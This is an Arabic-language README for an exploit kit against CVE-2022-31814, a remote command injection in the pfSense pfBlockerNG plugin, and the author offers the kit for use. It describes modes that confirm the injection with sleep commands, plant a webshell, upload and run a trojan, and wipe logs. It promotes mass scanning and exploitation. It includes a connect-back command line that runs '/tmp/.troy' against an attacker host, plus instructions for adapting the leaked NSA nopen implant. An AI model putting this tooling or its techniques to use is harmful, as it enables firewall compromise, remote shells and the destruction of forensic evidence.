
عدة استغلال CVE-2022-31814
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) عدة استغلال.
هذه عدة استغلال لخاصية حقن الأوامر عن بُعد في إضافات pfSense pfBlockerNG <= 2.1.4_26 والتي اكتشفها فريق IHTeam.
كتبت هذا للتجربة مع بعض مبادئ التصميم الموجودة في عدة استغلال جدار الحماية التابعة لوكالة الأمن القومي (NSA) - ولهذا السبب، صُمم ليكون متوافقاً تماماً مع حصان nopen (تغيير واحد صغير وموثّق مطلوب)، ويحتوي على ميزات مدمجة لمسح السجلات، ويكون موثوقاً للغاية من خلال تنفيذ بعض الفحوصات الأولية (اختبارات ثغرات سلبية ونشطة).
يتم توفير حمولة بسيطة لـ reverse TTY shell مكتوبة بلغة Python (هذه الأجهزة تأتي مع مترجم Python) كبديل عن nopen في هذه العدة، لأن تشغيل ملفات ثنائية مريبة مأخوذة من وكالة الأمن القومي يبدو تصرفاً أحمق إلى حد ما في بيئات الإنتاج.
من أجل المسح العشوائي (yolo-scanning) للبحث عن مكافآت صغيرة والاستغلال الجماعي، قم بتشغيل قالب nuclei المرفق (يجب أن يكون قد رُفع إلى upstream بحلول الآن). سيعطيك هذا قائمة بالأهداف. اسم هذا الملف هو nuclei-CVE-2022-31814.yaml.
من أجل الفحص الدقيق للشبكات، هناك أربعة "أوضاع" يجب أن تكون على دراية بها، وهي موثقة أدناه. قم بتشغيلها بالترتيب. يتم ضبطها باستخدام العلم --mode.
يقوم هذا الوضع بعمل طلبي HTTP - الأول للتحقق من أنه فعلاً pfSense (عن طريق فحص عنوان HTTP على /)، والثاني إلى نقطة النهاية الضعيفة للتحقق من أنها تبدو سليمة. هذا الوضع لا يستغل أي شيء.
يقوم هذا الوضع بعمل طلبي HTTP - وكلاهما يستغل الثغرة.
يقوم بحقن sleep 1 و sleep 10 ويتأكد من أن الفارق الزمني بين الطلبين أكبر من 6 ثوانٍ.
أضفت القليل من عامل "تباً لكل شيء" هنا لمراعاة زمن الاستجابة إذا كنت تطلق الاستغلال عبر بروكسي (أنت تفعل ذلك، أليس كذلك؟).
يقوم هذا الوضع بعمل 3 طلبات HTTP.
الأول يستغل الثغرة لإسقاط webshell باستخدام طلب GET. الثاني يستخدم الـ webshell لرفع حصاننا الطروادي باستخدام طلب POST. الثالث يستخدم الـ webshell لتنفيذ حصاننا الطروادي باستخدام طلب POST.
يقوم هذا الوضع بعمل طلبي HTTP. الأول يرفع سكربت تنظيف باستخدام الـ webshell. الثاني ينفذ سكربت التنظيف.
يقوم سكربت التنظيف بمسح السجلات، وحذف الحصان الطروادي، وحذف الـ webshell، ثم حذف نفسه. يقوم بذلك بطريقة معقولة (rm -rf). ليس سليماً من الناحية الجنائية بشكل خاص - قد أصلح ذلك لاحقاً باستخدام dd لاستكتابة الملفات قبل حذفها. قد أكتب أيضاً بعض سحر sed لمسح السجلات بدقة، ولكن بصراحة، فقط إذا وجدت في نفسي الرغبة.
لاستخدام nopen، فقط استبدل أمر "تنفيذ الحصان الطروادي" الأخير في دالة exploit() بما يلي:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
وقم بتوفير ثنائي nopen (noserver) خاص بـ freebsd يعمل على نظامك الهدف - قد يكون هذا صعباً، تحتاج إلى تصحيح ملف noserver-3.3.2.3-freebsd_8.0-i386 من تسريب EQGRP لاستخدام libkvm.so.7 بدلاً من libkvm.so.5، والنظام الهدف يحتاج طبقة توافق lib32... والتي لا تأتي افتراضياً في pfSense.
قد أضيف علماً --nopen لأتمتة هذا في إصدار لاحق، إذا كان الناس يهتمون حقاً لدرجة استخدام nopen. لا ينبغي لهم ذلك.
